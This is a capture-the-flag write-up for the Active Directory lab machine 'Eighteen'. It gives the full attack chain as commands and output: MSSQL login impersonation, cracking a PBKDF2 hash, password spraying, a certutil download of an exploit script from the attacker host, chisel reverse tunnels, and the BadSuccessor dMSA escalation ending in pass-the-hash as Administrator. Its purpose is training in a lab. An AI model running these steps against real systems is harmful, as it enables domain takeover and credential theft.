[ writeup · case #020 ]
Eighteen
Eighteen is a Windows Active Directory machine running on Server 2025. Initial access is gained through MSSQL login impersonation to access a financial planning database, where a PBKDF2 password hash is cracked to obtain domain credentials. Privilege escalation abuses a GenericAll ACL and the…
Summary
Enumeration
Port Scan
rustscan --range 1-65535 -a eighteen.htb -- -APORT STATE SERVICE REASON VERSION
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack ttl 127 Microsoft IIS httpd 10.0
|_http-title: Welcome - eighteen.htb
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_ Supported Methods: OPTIONS GET HEAD
1433/tcp open ms-sql-s syn-ack ttl 127 Microsoft SQL Server 2022 16.00.1000.00; RTM
| ms-sql-info:
| [REDACTED:IP]:1433:
| Version:
| name: Microsoft SQL Server 2022 RTM
| number: 16.00.1000.00
| Product: Microsoft SQL Server 2022
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
| ms-sql-ntlm-info:
| [REDACTED:IP]:1433:
| Target_Name: EIGHTEEN
| NetBIOS_Domain_Name: EIGHTEEN
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: eighteen.htb
| DNS_Computer_Name: DC01.eighteen.htb
| DNS_Tree_Name: eighteen.htb
|_ Product_Version: 10.0.26100
|_ssl-date: 2026-04-03T00:01:08+00:00; +7h00m03s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 3072
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-04-02T23:11:29
| Not valid after: 2056-04-02T23:11:29
| MD5: 59d3 6a65 8112 62d9 c8bb 3e28 6cd8 8bae
| SHA-1: d654 83cd a07e 18f9 2bcf b094 4698 f518 546d b964
| SHA-256: 8057 1478 72dd 4af9 a85a 6db4 2bc0 345c 9b8c 44af 7df8 d335 fb2d d0f8 2e05 e08e
| -----BEGIN CERTIFICATE-----
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| AGwAYgBhAGMAazCCAaIwDQYJKoZIhvcNAQEBBQADggGPADCCAYoCggGBAJhJOGll
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| Cm2jKl3KCPMUhgjGrD/kQEgqwptYjx3tUG/Gt/68RgnhxyL/XuYoBgTXxp0WMP3Z
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| Q/TzEAQIdPZWCCeO7M331zu5ST/5VkTjOdByD/4UU7EEXdOb2oLz4l5uCFxpWHDa
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
|_-----END CERTIFICATE-----
5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0Key findings:
- Port
1433— MSSQL Server 2022 on a DC — credentials provided by HTB for initial access - Port
5985— WinRM open — this is our shell once we have valid domain creds - Port
80— financial planner web app — backed by the MSSQL database - ~7h clock skew detected — critical for Kerberos later, needs faketime workaround
MSSQL Enumeration
The machine gives you starting credentials: kevin / [REDACTED:CRED]
nxc mssql <target> -u kevin -p '[REDACTED:CRED]' --local-authMSSQL ******** 1433 DC01 [+] DC01\kevin:[REDACTED:CRED] Connecting with impacket:
impacket-mssqlclient kevin:[REDACTED:CRED]@<target>Kevin lands as guest on master. First thing I check is impersonation:
SQL> enum_impersonateexecute as database permission_name grantee grantor
---------- -------- --------------- ------- -------
LOGIN IMPERSONATE kevin appdevKevin can impersonate appdev. I also notice a non-default database financial_planner in enum_db. Kevin can't access it directly, but after impersonation:
SQL> exec_as_login appdev
SQL> SELECT table_name FROM information_schema.tables;users / incomes / expenses / allocations / analytics / visitsFoothold
Dumping the users table:
SQL> SELECT * FROM users;id full_name username email password_hash is_admin
---- --------- -------- ------------------ ---------------------------------------------------------------------- --------
1002 admin admin [REDACTED:EMAIL] pbkdf2:sha256:[REDACTED:CRED] 1This is a Werkzeug PBKDF2-SHA256 hash. Hashcat mode 10900 but needs reformatting first — converting the Werkzeug format to what hashcat expects:
# salt: AMtzteQIG7yAbZIa (base64 encode it)
# hash: 0673ad90... (base64 encode the hex bytes)
echo 'sha256:600000:QU10enRlUUlHN3lBYlpJYQ:[REDACTED:KEY]' > hashcat.txt
hashcat -m 10900 hashcat.txt /usr/share/wordlists/rockyou.txtsha256:600000:QU10enRlUUlHN3lBYlpJYQ:[REDACTED:KEY]:[REDACTED:CRED]Password cracked: [REDACTED:CRED]. This is the web app admin password.
Next step is to find domain users to spray against. Since SMB/445 is firewalled, RID brute through MSSQL:
nxc mssql <target> -u kevin -p '[REDACTED:CRED]' --rid-brute --local-authThis dumps the full domain user list including: jamie.dunn, jane.smith, alice.jones, adam.scott, bob.brown, carol.white, dave.green.
Spraying [REDACTED:CRED]against WinRM:
nxc winrm <target> -u users.txt -p '[REDACTED:CRED]' -d eighteen.htbadam.scott:[REDACTED:CRED] hits on WinRM:
evil-winrm -i <target> -u adam.scott -p '[REDACTED:CRED]'User Flag
*Evil-WinRM* PS /home/light\Desktop> type user.txtPrivilege Escalation
Running WinPEAS immediately flags 70 AD objects where adam.scott has abuse-friendly rights, including:
-> Administrator (user)
DN: CN=Administrator,CN=Users,DC=eighteen,DC=htb
* GenericAll: Full controlGenericAll on Administrator sounds like an easy password reset — but it's blocked. Administrator is in the Protected Users group, which prevents password resets and NTLM auth. Every attempt via net user, ADSI, bloodyAD returns Access Denied.
The real path here is BadSuccessor (CVE-2025-53779) — a Windows Server 2025 privilege escalation that abuses delegated Managed Service Accounts (dMSAs). The idea: if you can create a dMSA in any OU and link it to a privileged account, the KDC treats the dMSA as the legitimate successor and hands it the target's Kerberos privileges.
Adam.scott has GenericAll on the OU=Staff container, which means he can create objects there.
Step 1 — Create the malicious dMSA:
# Download BadSuccessor (LuemmelSec version with exploit mode)
certutil -urlcache -f http://<kali>/BadSuccessor.ps1 exploit.ps1
. .\exploit.ps1
BadSuccessor -Mode Exploit -Path "OU=Staff,DC=eighteen,DC=htb" -Name "evil01" `
-DelegatedAdmin "adam.scott" -DelegateTarget "Administrator" -Domain "eighteen.htb"Successfully created and configured dMSA 'evil01'
Object adam.scott can now impersonate AdministratorStep 2 — Extract the ticket using bloodyAD through a chisel tunnel:
Since ports 88 and 389 are firewalled externally, I forward them through chisel:
# Kali
./chisel server -p 8888 --reverse
# Victim (evil-winrm)
.\chisel.exe client <kali>:8888 R:88:127.0.0.1:88 R:389:127.0.0.1:389The machine has a ~7h clock skew which breaks Kerberos. timedatectl doesn't stick due to NTP resync. Solution: libfaketime to wrap the process:
# Get DC time through tunnel
nmap -sV -p 88 127.0.0.1 --script krb5-enum-users 2>/dev/null | grep "server time"
# bloodyAD handles clock skew automatically with --prepatch
bloodyad -i 127.0.0.1 -d eighteen.htb -p '[REDACTED:CRED]' -u 'adam.scott' add badSuccessor light --prepatch[+] Creating DMSA light$ in OU=Staff,DC=eighteen,DC=htb
[+] Impersonating: CN=Administrator,CN=Users,DC=eighteen,DC=htb
Clock skew detected. Adjusting local time by 6:59:59. Retrying operation.
dMSA current keys found in TGS:
AES256: [REDACTED:HASH]
AES128: [REDACTED:HASH]
RC4: [REDACTED:HASH]
dMSA previous keys (including preceding managed accounts):
RC4: [REDACTED:HASH]The previous keys RC4 is Administrator's NT hash.
Step 3 — PTH as Administrator:
evil-winrm -u Administrator -H [REDACTED:HASH] -i <target>Root Flag
*Evil-WinRM* PS /home/light\Desktop> type root.txtKey Takeaways
- MSSQL login impersonation is a common foothold in AD environments — always run
enum_impersonateearly - Protected Users group blocks password resets and NTLM auth — GenericAll doesn't always mean easy privesc
- BadSuccessor (CVE-2025-53779) is a powerful Server 2025-specific escalation — any user with
CreateChildon an OU can compromise the entire domain by creating a dMSA linked to a privileged account. No patch available at time of writing - Clock skew on HTB is a recurring Kerberos issue —
libfaketimeor bloodyAD's auto-adjust are the cleanest workarounds